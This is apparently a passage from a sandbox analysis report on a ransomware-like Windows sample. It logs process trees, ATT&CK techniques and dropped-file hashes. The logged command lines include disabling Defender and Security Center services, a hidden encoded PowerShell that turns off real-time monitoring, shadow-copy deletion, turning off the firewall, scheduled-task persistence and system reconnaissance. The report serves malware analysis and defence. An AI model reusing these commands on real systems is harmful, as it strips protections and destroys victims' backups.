4656 4852 chrome.exe 123 PID 4852 wrote to memory of 4656 4852 chrome.exe 123 PID 4304 wrote to memory of 5464 4304 grafme.com_chrome.exe 127 PID 4304 wrote to memory of 2400 4304 grafme.com_chrome.exe 128 PID 4304 wrote to memory of 3092 4304 grafme.com_chrome.exe 130 PID 4304 wrote to memory of 3860 4304 grafme.com_chrome.exe 134 PID 4304 wrote to memory of 5272 4304 grafme.com_chrome.exe 136 PID 4304 wrote to memory of 5332 4304 grafme.com_chrome.exe 138 PID 4304 wrote to memory of 3928 4304 grafme.com_chrome.exe 139 PID 4304 wrote to memory of 5344 4304 grafme.com_chrome.exe 140 PID 4304 wrote to memory of 5336 4304 grafme.com_chrome.exe 141 PID 4304 wrote to memory of 5404 4304 grafme.com_chrome.exe 142 PID 4304 wrote to memory of 5364 4304 grafme.com_chrome.exe 143 PID 4304 wrote to memory of 5616 4304 grafme.com_chrome.exe 148 PID 4304 wrote to memory of 5744 4304 grafme.com_chrome.exe 152 PID 4304 wrote to memory of 2360 4304 grafme.com_chrome.exe 153 PID 4304 wrote to memory of 5856 4304 grafme.com_chrome.exe 154 PID 4304 wrote to memory of 2628 4304 grafme.com_chrome.exe 155 PID 4304 wrote to memory of 5984 4304 grafme.com_chrome.exe 158 PID 4304 wrote to memory of 288 4304 grafme.com_chrome.exe 159 PID 4304 wrote to memory of 3136 4304 grafme.com_chrome.exe 163 PID 5404 wrote to memory of 4916 5404 cmd.exe 165 PID 5364 wrote to memory of 116 5364 cmd.exe 166 PID 3928 wrote to memory of 5140 3928 cmd.exe 167 PID 5332 wrote to memory of 220 5332 cmd.exe 168 PID 5336 wrote to memory of 708 5336 cmd.exe 169 PID 2628 wrote to memory of 5008 2628 net.exe 170 PID 5344 wrote to memory of 5956 5344 cmd.exe 171 PID 708 wrote to memory of 2804 708 net.exe 172 PID 5272 wrote to memory of 3552 5272 cmd.exe 173 PID 5272 wrote to memory of 4796 5272 cmd.exe 174 PID 4852 wrote to memory of 4120 4852 chrome.exe 177 PID 4852 wrote to memory of 5000 4852 chrome.exe 189 PID 4852 wrote to memory of 3044 4852 chrome.exe 190 PID 4852 wrote to memory of 4132 4852 chrome.exe 191 PID 4852 wrote to memory of 5972 4852 chrome.exe 202 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\grafme.com_chrome.exe"C:\Users\Admin\AppData\Local\Temp\grafme.com_chrome.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4304 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" http://grafme.com2⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4852 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff80d12c728,0x7ff80d12c734,0x7ff80d12c7403⤵PID:1600
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1716,i,15858174713264435504,7017052896324299282,262144 --field-trial-handle=1996,i,9179506369931509094,2665823711778895535,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1992 /prefetch:23⤵PID:3824
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1560,i,17674560047221080290,2142167356555201804,524288 --field-trial-handle=1996,i,9179506369931509094,2665823711778895535,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2216 /prefetch:33⤵
- System Time Discovery
PID:1008
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2324,i,4400218349639051590,9646907944879747208,524288 --field-trial-handle=1996,i,9179506369931509094,2665823711778895535,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2336 /prefetch:83⤵PID:1392
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3076,i,9221058268683877823,3792630780911414806,2097152 --field-trial-handle=1996,i,9179506369931509094,2665823711778895535,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3184 /prefetch:13⤵PID:4676
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3088,i,14925075315401530701,4379221072973347419,2097152 --field-trial-handle=1996,i,9179506369931509094,2665823711778895535,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3220 /prefetch:13⤵PID:3148
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4476,i,6201097226689313005,11742974052112327788,2097152 --field-trial-handle=1996,i,9179506369931509094,2665823711778895535,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4512 /prefetch:23⤵PID:3284
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4452,i,13300240749177920938,4812813753367552017,2097152 --field-trial-handle=1996,i,9179506369931509094,2665823711778895535,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4740 /prefetch:13⤵PID:4656
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=3384,i,1710070221522702347,11231401049515669843,524288 --field-trial-handle=1996,i,9179506369931509094,2665823711778895535,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5564 /prefetch:83⤵PID:4120
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5800,i,8648967545394979719,14826118641149955916,524288 --field-trial-handle=1996,i,9179506369931509094,2665823711778895535,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5700 /prefetch:83⤵PID:5000
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5692,i,13823508927562318291,8508141335545712530,524288 --field-trial-handle=1996,i,9179506369931509094,2665823711778895535,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5728 /prefetch:83⤵PID:3044
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5696,i,3715174358981191839,2459675367761711444,524288 --field-trial-handle=1996,i,9179506369931509094,2665823711778895535,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5780 /prefetch:83⤵PID:4132
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5676,i,10914838701795429404,1572302213791576665,262144 --field-trial-handle=1996,i,9179506369931509094,2665823711778895535,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3240 /prefetch:83⤵PID:5972
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2792
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:4296
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:4804
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:1844
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:2256
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:3088
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:752
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:1796
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:2384
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:3396 -
C:\Users\Admin\AppData\Local\Temp\grafme.com_chrome.exe"C:\Users\Admin\AppData\Local\Temp\grafme.com_chrome.exe"3⤵PID:4760
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:4400
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv2⤵
- Launches sc.exe
PID:4968
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:3528
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious use of AdjustPrivilegeToken
PID:612
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:5464
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\grafme.com_chrome.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2400
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\grafme.com_chrome.exe" /sc minute /mo 30 /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:3092
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:3860
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5272 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:3552
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵PID:4796
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5332 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:220
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3928 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
PID:5140
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5344 -
C:\Windows\system32\whoami.exewhoami3⤵PID:5956
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5336 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:708 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:2804
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5404 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:4916
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5364 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
PID:116
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\grafme.com_chrome.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:5616
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:5744
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:2360
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵PID:5856
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:2628 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4760
-
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:5008
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:5984
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:288
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:3136
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:2836
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3404
-
C:\Users\Admin\AppData\Local\Temp\grafme.com_chrome.exeC:\Users\Admin\AppData\Local\Temp\grafme.com_chrome.exe1⤵PID:1772
-
C:\Users\Admin\AppData\Local\Temp\grafme.com_chrome.exeC:\Users\Admin\AppData\Local\Temp\grafme.com_chrome.exe1⤵PID:5448
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:4868
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
4Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\invoice_1.pdf
- Size 65KB
- SHA256 11dd54f87fc58e8e2d2cc2f97868d15aca08aa59f2d91871803160759bed54b2
- MD5 13e446e56363538ba9e364339273f446
- SHA1 343c1b1d275e3d2ca1eb84028682152e3956d5ec
- SHA512 8d94328618bffbf938f94141d98ab13a7471a178e424786c8eddcc5d8dc4f9d9e053e7a7faf46ba140727e600644cdb56bfeb635f9ba6cd6648aa33a4b7e6fef
- SSDEEP 1536:ABUNEMNWF3B4I11I98jVqmo7UKmOvo9w1Ets6L1vc140zzOCBV3PEC8:ABUNEmWF3t1E+ioy1Wr1Ue0zzd3PEx
- TLSH T1B7632A368B33FCD4277E3D80A0103D561C883E7B97B966BCFA841DA628E5544DF3A598
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 64KB
- SHA256 fa0a7354a7768e5deb990bd39b275b1d4156b5b1e801b7112fe46e55a6f401c0
- MD5 55e3af9016368fcddeeb8f6afeeec7bf
- SHA1 e9276435bd0a35c9bffb4a303a6ab0ecac2af2fc
- SHA512 30da3f51b2404bc1e5232f48fcb6be3d68615c40dfe9acda0780e8003d1323e07c1ee37caa92001f76a7efda54739535f7c7f5efc9507bfd42adf474045b9d80
- SSDEEP 1536:gBUNEMNWF3B4I11I98jVqmo7UKmOvo9w1Ets6L1vc140zzOCBV3PECf:gBUNEmWF3t1E+ioy1Wr1Ue0zzd3PEI
- TLSH T18B532A368B33FCD4277E3D80A0503D561C883E7B97B9267CFA851DA628E5144DF3A598
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\3fdd2dd0-3164-4e86-8b34-3986408d740f.tmp
- Size 116KB
- SHA256 3545b2f6d107b5813717184c942e9bf8b1f216566e064b0c113eeb07d00dd8aa
- MD5 63d8541a9ca9a5e7f3d7ae391a0d3db0
- SHA1 36cf93d1a745c6613c488eef3ef87d4b6438b748
- SHA512 6f9cb5d7264c1f766eb82062bd79c8f36b85db84d9ebe4911b8a1853287fcdf9b9fd9c7c43760ae3963418f3e77dd3f6c2cd1857088e83e338da62bb64c40cd3
- SSDEEP 3072:8UGm7D5Lk17ox1tIpud63U8BehbCBi9fTrMx:8Xm7Rkm1tYpBeh2BAox
- TLSH T1CBC312375D75B83759B9B71EB04E0B1F0EF14A67C820DA92C8D85B0827FA7CC1A49934
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
- Size 6B
- SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
- MD5 377d072e137022223a370760763420bb
- SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
- SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
- Size 414B
- SHA256 c9dbc04bfd6684257b41d2b925bb2bce7366b2ef6dab10fe4bbc5114e9d0a054
- MD5 608de61efdd0af085ae58e2fc131f933
- SHA1 8d1da47b412c7480d66b3921242877cb058779ac
- SHA512 3278246c12e5765cb181666ca4714c0d55abc54291c20c1d2d1c23ced8e49a2ac6c77bb945d46aaddd4c00c87edc51970816221e0b498c804a4167b89610fb52
- TLSH T146E02BE5CA22EC3718FD1718A4754705EB81532B2640991F7B3D801C8FB477A4586C5C
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
- Size 264B
- SHA256 ea468c457a51cfcefdb9a858efd9d55d2b21e615362bda52d6f3f9dd0e900bf9
- MD5 753a91d4a96a9f272a487a0f85fb79d3
- SHA1 2be185d73f696d5a504b647533869b32f733c1bc
- SHA512 2f02f62713af3cf875f2fd252ded1eaed60a9eeb841b4c2ac7a8073e0d2e98c5de0f5d49484af9f1a49f148f5c475ecc98d2245ff7781c9ed6bcadbf10426318
- TLSH T1FBD02292B1A0A204E37C3B300CE58A19313C0CEE0C630E328E1BCC3E8ED57C2A68240C
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
- Size 6KB
- SHA256 4ab40fc06a2395f4bb1e6d0b1857a96ba2a9fd31903106926878a84e5f33e912
- MD5 ed58684ec141fae6da64dfd02af635aa
- SHA1 54c032dca8583b66c6ee55ebc470a12cde097d2a
- SHA512 65e0e8c0361d03b32ab90ea457c5a8f3bf6676dcfaf60b0d2c9cecfe52eb106f383d2e190cd3c3997dc31f3570756570205a1f2c3b288fa33c24c368a43ed7fa
- SSDEEP 192:DmSXJ1k0oaaIEdIIHp7U6YvEFhGzGuWuZMZQVPjhSU:DmSXJ1k0oaaIEdIIHp7U6YvEFhGzGuW8
- TLSH T16BE1C1F3C3E8952DD90156F9AB186E1FCF190A24571C3C26C8D4BE1BA3E2972E25174E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
- Size 12KB
- SHA256 5aa050d814bfde537946f022842423a0b4f7c179fda4b46dffeb5f480701af15
- MD5 47017f2382c14584e3e934e4221e3439
- SHA1 be548f1c4e41d23ab5bb501dc99a726b57413db6
- SHA512 542509978e50fed56d5b92eb43a65f64e5d52004a386f040ee5f092adb85f1655b3a04bef921db73975334232b0d607c9856d5dfbd5bc1e1147d890316958f35
- SSDEEP 192:FRdXvMpT2MHov7MF+pAPRp2zHY9HHsb+WNn9BBVa2jMeE/agE97VyIsnAUgtaJ:FRdXvKH0goUX11wjO2Sa/98
- TLSH T19F42C42EAE11697B6CCAD21AFD267B13D7F5102521C42E80EBFD892C15E76CC231705B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
- Size 13KB
- SHA256 83e2f31e1416bccf9e707ab8375f09c19131ba6a99fcc9cec04ee9d8f639ee29
- MD5 96300faa7744c175541c14cafca8b996
- SHA1 ca514ab56c5dcb9681918013c18e6524d083d967
- SHA512 8fa767d3c91c30f391300dfb34dc4de135bf6bc0cd2c1a054984cd509fdb7e0b952daf17524be2ea49df3ab4328adf86a3ced60477254dbb177c97e9d1778b11
- SSDEEP 192:FRdX8MpT2MHov7MF+pNPRp9zHY9HHsb+WNn9BBVa2xMeE/agE9MVyIsnAUgraJ:FRdX8KH0govXe1wjO2wa/oe
- TLSH T14052C62EAE11697B6CCAD21AFD267B63D7F5102521D02E90EBFD892C15E76CC231701B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
- Size 16KB
- SHA256 2aa03c82b611b3fe6cdaf5fe4d55ec208fa47cbc8eb4b77e72c8c64341a677da
- MD5 d210c96fea5205951e7c2614a7381afc
- SHA1 557c415e4225993caf8e885048da101e051788af
- SHA512 750c85e9610e5a33785bc6cba2d6f2bfcfc88d8faeb9e483f64ebcc7e003bd18e674ff8f85c7d547df2e713fba7b271f291bfd08a30f1084a556b6429ad50502
- SSDEEP 384:TRjPq7KxkXqKf/pUZNCgVLH2HfgslT37pLuLcMFgXODPO+ErU3voHGjB22oR0S:TxPq7KxkXqKf/pUZNCgVLH2HfgsV37pb
- TLSH T1577219676C4C8E7B0F94CACCDC167F4FADB5025B65EA886482FA582903D5ADF01061FB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\ab585db2f3b7e16923a8e81b9a451027720aa42c\8ce7fa43-6d11-4877-b68c-485ed7606530\index-dir\the-real-index
- Size 72B
- SHA256 dbda188b24b8b34a626c6e22c35bc231551558f9b4d82b6dca5fe72b4df71127
- MD5 29947b80d65839dc0bebf302242078fa
- SHA1 4dcf851cade11767d4ed463c11be14b019927fe4
- SHA512 4ed4a4585694c5323c1f795e34cd547892a3ea00fea6a71b343c840854bac794a8beb1e33c16385816ff0a3374119962a636d555adef1d68ef033fe403524270
- TLSH T117A0022143515007D710067D155691D53F3058158315128D7AB341EC9D652818301006
- MD5 SHA1 SHA512 TLSH
